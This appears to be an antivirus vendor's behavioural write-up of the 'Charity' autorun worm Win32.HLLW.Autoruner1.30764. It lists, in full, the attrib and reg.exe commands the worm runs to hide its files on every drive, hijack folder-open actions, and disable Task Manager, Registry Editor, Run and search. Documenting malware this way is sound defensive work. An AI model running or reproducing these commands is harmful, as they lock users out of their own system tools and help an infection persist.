Win32.HLLW.Autoruner1.30764

Technical Information

To ensure autorun and distribution:

Creates the following files on removable media:

<Drive name for removable media>:\autorun.inf

Malicious functions:

To complicate detection of its presence in the operating system,

forces the system hide from view:

hidden files

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)
Registry Editor (RegEdit)

Executes the following:

<SYSTEM32>\attrib.exe +s +a +h +r F:\charity.exe
<SYSTEM32>\attrib.exe +s +a +h +r G:\charity.exe
<SYSTEM32>\attrib.exe +s +a +h +r H:\charity.exe
<SYSTEM32>\attrib.exe +s +a +h +r E:\charity.exe
<SYSTEM32>\rundll32.exe shell32.dll,Activate_RunDLL
<SYSTEM32>\attrib.exe +s +a +h +r C:\charity.exe
<SYSTEM32>\attrib.exe +s +a +h +r <Drive name for removable media>:\charity.exe
<SYSTEM32>\attrib.exe +s +a +h +r I:\charity.exe
<SYSTEM32>\attrib.exe +s +a +h +r G:\autorun.inf
<SYSTEM32>\attrib.exe +s +a +h +r H:\autorun.inf
<SYSTEM32>\attrib.exe +s +a +h +r I:\autorun.inf
<SYSTEM32>\attrib.exe +s +a +h +r F:\autorun.inf
<SYSTEM32>\attrib.exe +s +a +h +r C:\autorun.inf
<SYSTEM32>\attrib.exe +s +a +h +r <Drive name for removable media>:\autorun.inf
<SYSTEM32>\attrib.exe +s +a +h +r E:\autorun.inf
<SYSTEM32>\reg.exe add "HKCR\Folder\shell\explore" /v "" /t reg_sz /d "Charity Virus" /f
<SYSTEM32>\reg.exe add "HKCR\Folder\shell\open" /v "" /t reg_sz /d "Spread me" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\International" /v "s2359" /t reg_sz /d "madforelmo" /f
<SYSTEM32>\cmd.exe /c ""%TEMP%\actmovie.bat" > NUL"
<SYSTEM32>\reg.exe add "HKCU\Control Panel\International" /v "sTimeFormat" /t reg_sz /d "h:mm:ss tt" /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\International" /v "s1159" /t reg_sz /d "SpreadMe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t reg_dword /d 1 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t reg_dword /d 0 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t reg_dword /d 0 /f
<SYSTEM32>\label.exe c: charityvir
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDriveTypeAutoRun /t REG_DWORD /d 128 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t reg_dword /d 1 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f

Modifies settings of Windows Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFind' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFolderOptions' = '00000001'

Modifies file system :

Creates the following files:

C:\autorun.inf
<SYSTEM32>\autorun.inf
%TEMP%\actmovie.bat

Sets the 'hidden' attribute to the following files:

<Drive name for removable media>:\autorun.inf
C:\autorun.inf

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